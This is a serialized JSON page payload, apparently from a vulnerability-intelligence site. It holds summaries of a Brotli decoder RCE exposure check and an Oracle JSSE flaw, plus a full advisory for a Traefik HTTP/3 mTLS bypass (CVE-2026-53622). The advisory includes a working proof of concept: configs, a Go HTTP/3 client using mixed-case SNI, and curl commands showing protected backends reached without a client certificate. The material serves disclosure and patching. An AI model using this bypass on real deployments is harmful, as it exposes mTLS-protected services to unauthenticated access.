[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-53622":30,"landing-articles":114},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":41,"technologies":46,"references":48,"score":59,"epss_score":60,"epss_percentile":61,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":62,"attack_mappings":72,"exploits":111},358982,"CVE-2026-53622","EUVD-2026-38576","Traefik: HTTP\u002F3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts\n\n## Summary\n\nThere is a critical vulnerability in Traefik's HTTP\u002F3 (QUIC) TLS configuration selection that allows unauthenticated clients to bypass router-specific mTLS enforcement. When HTTP\u002F3 is enabled on an entrypoint, the TLS handshake selects the applicable TLS configuration through an exact, case-sensitive lookup on the SNI value, which fails to match wildcard host patterns (e.g., `*.example.com`) or case variants of the configured hostname. Because the handshake falls back to the default TLS configuration — which may not require client certificates — a client can complete the QUIC handshake without presenting a certificate, while the subsequent HTTP routing layer still dispatches the request to a backend protected by a router-specific mTLS policy. The issue affects deployments where HTTP\u002F3 is enabled, a router uses a wildcard `Host` rule or case-insensitive hostname matching, a router-specific `TLSOptions` enforces client certificate authentication, and UDP access to the entrypoint is reachable by an attacker.\n\n## Patches\n\n- https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik\u002Freleases\u002Ftag\u002Fv3.7.3\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik\u002Fissues).\n\n\u003Cdetails>\n\u003Csummary>Original Description\u003C\u002Fsummary>\n\n### Summary\n\nTraefik's HTTP\u002F3 TLS configuration selection can ignore router-specific `TLSOptions` and allow unauthenticated clients to bypass mTLS. The QUIC\u002FHTTP3 path resolves TLS configuration with `Router.GetTLSGetClientInfo()`, which performs a direct, case-sensitive map lookup on `hostHTTPTLSConfig[info.ServerName]`.\n\nThis is inconsistent with the later HTTP host routing semantics, where the same request host can still match wildcard or case-insensitive `Host` rules after the HTTP\u002F3 TLS handshake has already fallen back to the default TLS configuration. Two exploit paths are confirmed:\n\n1. `Host(\"*.example.com\")` with `tls.options=mtls`: HTTP\u002F2 requires a client certificate, but HTTP\u002F3 reaches the protected backend without one.\n2. `Host(\"api.example.com\")` with `tls.options=mtls`: HTTP\u002F2 requires a client certificate, but HTTP\u002F3 with mixed-case SNI\u002FHost such as `API.EXAMPLE.COM` reaches the protected backend without one.\n\nConfirmed versions:\n\n- wildcard HTTP\u002F3 bypass: `v3.7.0`, `v3.7.1`\n- exact-host mixed-case HTTP\u002F3 bypass: `v3.6.17`, `v3.7.0`, `v3.7.1`\n\n### Details\n\nHTTP\u002F3 installs a QUIC TLS callback in `pkg\u002Fserver\u002Fserver_entrypoint_tcp_http3.go`:\n\n```go\nh3.Server = &http3.Server{\n    Addr:      config.GetAddress(),\n    Port:      config.HTTP3.AdvertisedPort,\n    Handler:   httpsServer.Server.(*http.Server).Handler,\n    TLSConfig: &tls.Config{GetConfigForClient: h3.getGetConfigForClient},\n}\n```\n\nThe callback is wired to the TCP router's TLS selector:\n\n```go\nfunc (e *http3server) Switch(rt *tcprouter.Router) {\n    e.lock.Lock()\n    defer e.lock.Unlock()\n\n    e.getter = rt.GetTLSGetClientInfo()\n}\n```\n\nThe selector in `pkg\u002Fserver\u002Frouter\u002Ftcp\u002Frouter.go` only performs an exact map lookup:\n\n```go\nfunc (r *Router) GetTLSGetClientInfo() func(info *tls.ClientHelloInfo) (*tls.Config, error) {\n    return func(info *tls.ClientHelloInfo) (*tls.Config, error) {\n        if tlsConfig, ok := r.hostHTTPTLSConfig[info.ServerName]; ok {\n            return tlsConfig, nil\n        }\n\n        return r.httpsTLSConfig, nil\n    }\n}\n```\n\nThat creates two mismatches:\n\n- wildcard keys such as `*.example.com` are never matched for `api.example.com`\n- lower-case router keys such as `api.example.com` are not matched for mixed-case SNI such as `API.EXAMPLE.COM`\n\nOn the later HTTP request path, the same host can still match wildcard or case-insensitive `Host` rules through the muxer. The HTTP\u002F3 TLS handshake path falls back to the default TLS config before that routing decision happens. If the default TLS config does not require a client certificate, the QUIC handshake succeeds without mTLS, and the later HTTP router still routes to the protected backend.\n\nPreconditions:\n\n- HTTP\u002F3 is enabled on the affected entrypoint.\n- A router-specific `TLSOptions` configuration enforces client certificate authentication.\n- The default\u002Ffallback TLS configuration does not require client certificates.\n- UDP access to the HTTP\u002F3 entrypoint is reachable by the attacker.\n\nMinimal wildcard dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`*.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          - url: http:\u002F\u002Fprotected:80\n\ntls:\n  certificates:\n    - certFile: \u002Fcerts\u002Fserver.crt\n      keyFile: \u002Fcerts\u002Fserver.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - \u002Fcerts\u002Fca.crt\n        clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal exact-host dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`api.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          - url: http:\u002F\u002Fprotected:80\n\ntls:\n  certificates:\n    - certFile: \u002Fcerts\u002Fserver.crt\n      keyFile: \u002Fcerts\u002Fserver.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - \u002Fcerts\u002Fca.crt\n        clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal Docker Compose:\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.1\n    command:\n      - --log.level=DEBUG\n      - --entrypoints.websecure.address=:8443\n      - --entrypoints.websecure.http3\n      - --providers.file.filename=\u002Fetc\u002Ftraefik\u002Fdynamic.yml\n      - --providers.file.watch=false\n    ports:\n      - \"8443:8443\u002Ftcp\"\n      - \"8443:8443\u002Fudp\"\n    volumes:\n      - .\u002Fdynamic.yml:\u002Fetc\u002Ftraefik\u002Fdynamic.yml:ro\n      - .\u002Fcerts:\u002Fcerts:ro\n    depends_on:\n      - protected\n\n  protected:\n    image: traefik\u002Fwhoami:v1.11\n    command:\n      - --name=PROTECTED\n```\n\nCertificate generation:\n\n```bash\nrm -rf certs\nmkdir -p certs\n\nopenssl req -x509 -newkey rsa:2048 -nodes -days 7   -keyout certs\u002Fca.key   -out certs\u002Fca.crt   -subj \"\u002FCN=traefik-poc-ca\"\n\nopenssl req -newkey rsa:2048 -nodes   -keyout certs\u002Fserver.key   -out certs\u002Fserver.csr   -subj \"\u002FCN=api.example.com\"   -addext \"subjectAltName=DNS:api.example.com,DNS:*.example.com\"\n\nopenssl x509 -req   -in certs\u002Fserver.csr   -CA certs\u002Fca.crt   -CAkey certs\u002Fca.key   -CAcreateserial   -out certs\u002Fserver.crt   -days 7   -sha256   -copy_extensions copyall\n```\n\nThe mixed-case HTTP\u002F3 client used for the exact-host case:\n\n```go\npackage main\n\nimport (\n    \"crypto\u002Ftls\"\n    \"fmt\"\n    \"io\"\n    \"net\u002Fhttp\"\n    \"os\"\n    \"time\"\n\n    \"github.com\u002Fquic-go\u002Fquic-go\u002Fhttp3\"\n)\n\nfunc main() {\n    serverName := os.Getenv(\"TLS_SERVER_NAME\")\n    if serverName == \"\" {\n        serverName = \"API.EXAMPLE.COM\"\n    }\n\n    host := os.Getenv(\"HTTP_HOST\")\n    if host == \"\" {\n        host = \"API.EXAMPLE.COM\"\n    }\n\n    tr := &http3.Transport{\n        TLSClientConfig: &tls.Config{\n            ServerName:         serverName,\n            InsecureSkipVerify: true,\n        },\n    }\n    defer tr.Close()\n\n    client := &http.Client{Transport: tr, Timeout: 8 * time.Second}\n\n    req, err := http.NewRequest(http.MethodGet, \"https:\u002F\u002F127.0.0.1:8443\u002F\", nil)\n    if err != nil {\n        panic(err)\n    }\n    req.Host = host\n\n    resp, err := client.Do(req)\n    if err != nil {\n        fmt.Fprintln(os.Stderr, err)\n        os.Exit(1)\n    }\n    defer resp.Body.Close()\n\n    fmt.Println(resp.Proto, resp.StatusCode)\n    body, _ := io.ReadAll(resp.Body)\n    fmt.Print(string(body))\n}\n```\n\n### PoC\n\nWildcard bypass:\n\n1. Start Traefik with the wildcard dynamic configuration above.\n2. Control over TCP\u002FTLS:\n\n```bash\ncurl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https:\u002F\u002Fapi.example.com:8443\u002F\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\n3. HTTP\u002F3 bypass:\n\n```bash\ncurl --noproxy '*' --http3-only -skv   --resolve api.example.com:8443:127.0.0.1   https:\u002F\u002Fapi.example.com:8443\u002F\n```\n\nObserved result:\n\n```text\nHTTP\u002F3 200\nName: PROTECTED\nHost: api.example.com:8443\n```\n\nExact-host mixed-case bypass:\n\n1. Start Traefik with the exact-host dynamic configuration above.\n2. Control over TCP\u002FTLS:\n\n```bash\ncurl --noproxy '*' --http2 -skv   --resolve api.example.com:8443:127.0.0.1   https:\u002F\u002Fapi.example.com:8443\u002F\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\n3. Mixed-case HTTP\u002F2 control:\n\n```bash\ncurl --noproxy '*' --http2 -skv   --resolve API.EXAMPLE.COM:8443:127.0.0.1   https:\u002F\u002FAPI.EXAMPLE.COM:8443\u002F\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\nThis control confirms that the bypass is specific to the HTTP\u002F3 TLS configuration selection path in this test setup. The HTTP\u002F2 request to the same mixed-case hostname still fails with `certificate required`.\n\n4. HTTP\u002F3 bypass with the same mixed-case hostname:\n\n```bash\nTLS_SERVER_NAME=API.EXAMPLE.COM HTTP_HOST=API.EXAMPLE.COM   go run .\u002Fh3-case-client.go\n```\n\nObserved result:\n\n```text\nHTTP\u002F3.0 200\nName: PROTECTED\nHost: API.EXAMPLE.COM\n```\n\nLocal regression tests used during validation:\n\n```bash\ngo test .\u002Fpkg\u002Fserver\u002Frouter\u002Ftcp   -run 'TestGetTLSGetClientInfo_(WildcardCurrentBehavior|ExactHostCaseSensitivityCurrentBehavior)$'   -count=1\n```\n\nThese tests were added locally during analysis to demonstrate the current behavior of `GetTLSGetClientInfo()`. They are not required to reproduce the issue; the Docker and `curl`\u002FHTTP3 commands above are the end-to-end reproduction.\n\nVersion matrix observed with Docker images:\n\n```text\nwildcard H3 bypass: affected on v3.7.0 and v3.7.1\nexact-case H3 bypass: affected on v3.6.17, v3.7.0, and v3.7.1\n```\n\nThe wildcard case was tested on v3.7.x because wildcard `Host` \u002F `HostSNI` matching and TLSOptions association for wildcard domains were introduced in v3.7.0.\n\n### Impact\n\nDeployments that use router `TLSOptions` as an access-control boundary for HTTP\u002F3 can expose protected backends without client authentication.\n\nThe highest-impact case is mTLS:\n\n- normal HTTP\u002F2\u002FTCP access to the protected host requires a client certificate\n- HTTP\u002F3 access to the same route falls back to the default TLS config\n- the request is then routed to the protected backend without satisfying the route's mTLS policy\n\nThis can expose confidential data or privileged backend operations to unauthenticated network clients. The issue is especially severe because it does not require credentials, user interaction, or a prior foothold.\n\nPossible workarounds until a fix is available:\n\n- Disable HTTP\u002F3 on entrypoints that rely on router-specific mTLS.\n- Enforce mTLS in the default TLS options as well, so fallback TLS configuration is not weaker than router-specific configuration.\n- Block UDP access to the HTTP\u002F3 entrypoint.\n- Enforce client authentication at an additional layer behind Traefik.\n\n\u003C\u002Fdetails>\n\n---","2026-06-16T21:04:00Z",{},false,[39,40],"CWE-288","CWE-289",[42,43,44,45],"cpe:2.3:a:traefik:traefik:1.7.34:*:*:*:*:*:*:*","cpe:2.3:a:traefik:traefik:3.7.2:*:*:*:*:*:*:*","cpe:2.3:a:traefik:traefik:2.11.50:*:*:*:*:*:*:*","cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*",[47],"Traefik Traefik",[49,50,51,52,53,54,55,56,57,58],"https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik\u002Fsecurity\u002Fadvisories\u002FGHSA-9cr8-q42q-g8m7","https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik","https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik\u002Freleases\u002Ftag\u002Fv3.7.3","https:\u002F\u002Faccess.redhat.com\u002Fsecurity\u002Fcve\u002FCVE-2026-53622","https:\u002F\u002Fbugzilla.redhat.com\u002Fshow_bug.cgi?id=2491924","https:\u002F\u002Fsecurity.access.redhat.com\u002Fdata\u002Fcsaf\u002Fv2\u002Fvex\u002F2026\u002Fcve-2026-53622.json","https:\u002F\u002Fcommunity.traefik.io\u002Ft\u002Fnew-security-update-for-traefik-2-11-2-11-48-3-6-3-6-19-and-3-7-3-7-3\u002F29917","https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik\u002Fcompare\u002Fv3.6.17...v3.6.18","https:\u002F\u002Fgithub.com\u002Ftraefik\u002Ftraefik\u002Fpull\u002F13214","https:\u002F\u002Faccess.redhat.com\u002Ferrata\u002FRHSA-2026:62260",0,0.00629,0.49835,{"timestamp":63,"automatable":64,"tech_impact":65,"exploitation":66,"cisa_decision":67,"cisa_remediation_timeline":71},"2026-06-25T12:44:08.806237Z","yes","partial","none",{"vector":68,"decision":69,"priority":70},"CISAv1\u002FE:N\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T02:37:19.827771\u002F","attend","medium","14D",[73,79,88,96,103],{"name":74,"source":75,"tactics":76,"technique_id":78},"Exploit Public-Facing Application","attack_vector",[77],"initial-access","T1190",{"name":80,"source":81,"cwe_ids":82,"tactics":83,"capec_ids":85,"technique_id":87},"File and Directory Discovery","capec",[39],[84],"discovery",[86],"CAPEC-127","T1083",{"name":89,"source":81,"cwe_ids":90,"tactics":91,"capec_ids":93,"technique_id":95},"Exploitation for Stealth",[39],[92],"stealth",[94],"CAPEC-665","T1211",{"name":97,"source":81,"cwe_ids":98,"tactics":99,"capec_ids":101,"technique_id":102},"Component Firmware",[39],[100,92],"persistence",[94],"T1542.002",{"name":104,"source":81,"cwe_ids":105,"tactics":106,"capec_ids":109,"technique_id":110},"Modify Authentication Process",[39],[107,108,100],"credential-access","defense-impairment",[94],"T1556",[112,113],{"link":49},{"link":49},{"count":115,"next":116,"previous":6,"results":117},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[118,126,134],{"id":119,"title":120,"summary":121,"published_at":122,"type":123,"link":124,"image_url":125},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":127,"title":128,"summary":129,"published_at":130,"type":131,"link":132,"image_url":133},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":135,"title":136,"summary":137,"published_at":138,"type":139,"link":140,"image_url":141},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]